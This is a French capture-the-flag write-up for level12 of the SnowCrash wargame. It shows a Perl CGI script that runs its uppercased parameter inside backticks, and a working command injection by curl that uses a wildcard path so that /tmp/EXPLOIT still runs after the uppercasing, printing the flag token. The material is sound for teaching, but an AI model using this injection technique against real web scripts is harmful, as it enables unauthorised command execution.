On commence par lister les fichiers que l'on a.

```
level12@SnowCrash:~$ ls -la
total 16
dr-xr-x---+ 1 level12 level12  120 Mar  5  2016 .
d--x--x--x  1 root    users    340 Aug 30  2015 ..
-r-x------  1 level12 level12  220 Apr  3  2012 .bash_logout
-r-x------  1 level12 level12 3518 Aug 30  2015 .bashrc
-rwsr-sr-x+ 1 flag12  level12  464 Mar  5  2016 level12.pl
-r-x------  1 level12 level12  675 Apr  3  2012 .profile
level12@SnowCrash:~$
```

On a un script pearl

```
sub t {
  $nn = $_[1];
  $xx = $_[0];
  $xx =~ tr/a-z/A-Z/;
  $xx =~ s/\s.*//;
  @output = `egrep "^$xx" /tmp/xd 2>&1`;
  foreach $line (@output) {
      ($f, $s) = split(/:/, $line);
      if($s =~ $nn) {
          return 1;
      }
  }
  return 0;
}

sub n {
  if($_[0] == 1) {
      print("..");
  } else {
      print(".");
  }
}
```

C'est un script CGI qui lance un serveur web, il prend 2 arguments en entrées, x et y.

```
$xx =~ tr/a-z/A-Z/;
```

Ici on peut voir que le paramètre x est transformé en majuscule, on peut donc pas exécuter des commandes comme getflag directement dans le paramètre car il deviendrait GETFLAG.

On va donc créer un fichier qui contiendra nôtre commande.

```
[level12@SnowCrash:~$ vim /tmp/EXPLOIT
[level12@SnowCrash:~$ cat /tmp/EXPLOIT
 #!/bin/sh
 getflag > /tmp/flag
[level12@SnowCrash:~$ chmod 777 /tmp/EXPLOIT
```

Il est important d'avoir le nom du fichier en majuscule car le serveur va le transformer si il est en minuscule.

Ensuite on fait une requête curl sur le localhost pour déclencher le script.

```
[level12@SnowCrash:~$ curl localhost:4646?x='`/*/EXPLOIT`'
[..level12@SnowCrash:~$ cat /tmp/flag
 Check flag.Here is your token : g1qKMiRpXf53AWhDaU7FEkczr
 level12@SnowCrash:~$
```

Le wildcard dans le paramètre de la requête permet au serveur de regarder dans / tous les dossier qui pourrait contenir un EXPLOIT.

Si on avait regarde a /tmp/EXPLOIT, la commande effectuer aurait été a /TMP/EXPLOIT.

Du coup on a notre flag : g1qKMiRpXf53AWhDaU7FEkczr